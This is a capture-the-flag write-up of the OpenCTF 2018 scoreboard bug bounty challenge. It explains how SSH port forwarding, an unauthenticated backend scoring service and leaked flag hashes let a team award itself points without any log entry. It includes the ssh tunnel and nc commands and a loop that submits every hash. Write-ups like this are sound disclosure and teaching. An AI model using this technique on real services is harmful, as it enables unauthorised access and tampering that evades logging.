Rating:

View at the original location: https://neg9.org/news/2018/8/15/openctf-2018-scoreboard-bug-bounty-writeup

Scoreboard Bug Bounty - 1337

* DEFCON 26 @Open_CTF
* 2018-08-11
* Solved by Neg9 [craSH, tecknicaltom, reidb]

```
SCOREBOARD BUG BOUNTY IS OPEN. COME AT US BR0!!! V& OUT!!! https://scoreboard.openctf.com/scoreboardbugbounty-dd9dd662cb9895a2353f6c463120b9eb7fed2bfb
```

Scoreboard Server: scoreboard.openctf.com

The Scoreboard server is running an SSH server, which is the primary method teams use to interact with it. Each team has a shell account, and the users' shell is set to be ``interact.py`` from the above source archive.

There were several issues with the scoreboard system configuration, code, and how the organizers released the code, which when combined, resulted in the ability of a team to score all possible challenges for themselves without leaving any trace of doing so, and by not using the intended ``interact.py`` method of scoring.

* Issue 1: sshd is configured to allow port forwarding/dynamic proxying.
* Issue 2: ``collect_keys.py`` accepts connections without authentication, and it does not log connections made to it to syslog like ``interact.py`` does.
* Issue 3: The included SQLite database (``central.db``) included all (SHA512) hashes of the flags. This hash value is what the backend ``collect_keys.py`` takes in addition to team name and challenge ID to register a scoring event.


As such, you can directly connect to the backend and submit a known hash for a question to a team.

One could connect to the scoreboard as such to open a socket on the players local machine on port 41337 which is a tunnel to the backend service ``collect_keys.py`` running on the scoreboard:

```
ssh -L41337:localhost:41337 [email protected]
```

And in another terminal, one could then connect to the ``collect_keys.py`` service as follows:

```
nc localhost 41337
```

This would yield the service authentication string (lol) and wait to be written to:

```
lol goatse
```

At this point, the service expects a scoring event message in the following format:

```
<Team_Name>,<Question_ID>,<Flag_SHA512_Hex>
```

For example - here is the string to submit to score question ID 15 (this scoreboard bug bounty challenge) for team neg9:

```
neg9,15,40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6
```

As we have all hashes in the database provided, we can script up scoring for all questions. Here is the database schema:

```
CREATE TABLE questions(challenge_name text, tags text, point_value integer, answer_hash text, question text, solved integer, open integer, qualification);
CREATE TABLE team_score(team_name text, challenge_name text, point_value integer, answer_hash text, time_solved text, first integer, PRIMARY KEY(team_name, challenge_name, point_value, answer_hash) ON CONFLICT IGNORE);
```

And for demonstration, here is the row for this challenge:

```
sqlite> select * from questions where challenge_name like '%bug%';
Scoreboard Bug Bounty|Kajer scoreboard|1337|40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6|Find an 0-day in our scoreboard. Source is here: https://pastebin.com/nVR8gEih
```

We expeditiously grabbed all of the hashes from the dump and put them in a file to work with.

The following nested for loop would submit all hashes for neg9 (we extracted just the hash values and placed them in hashes.txt):

```
for hash in $(cat hashes.txt); do for id in {1..100}; do echo "neg9,${id},${hash}" | nc localhost 41337; done ; done
```

We made a POC of this with the question ID 15, for the scoreboard bug bounty, and we were successfully awarded **1337** points. The organizers quickly disabled SSH port forwarding/tunneling at this point, and we were not able to score for the other flags in this manner. Good work :)

Original writeup (https://neg9.org/news/2018/8/15/openctf-2018-scoreboard-bug-bounty-writeup).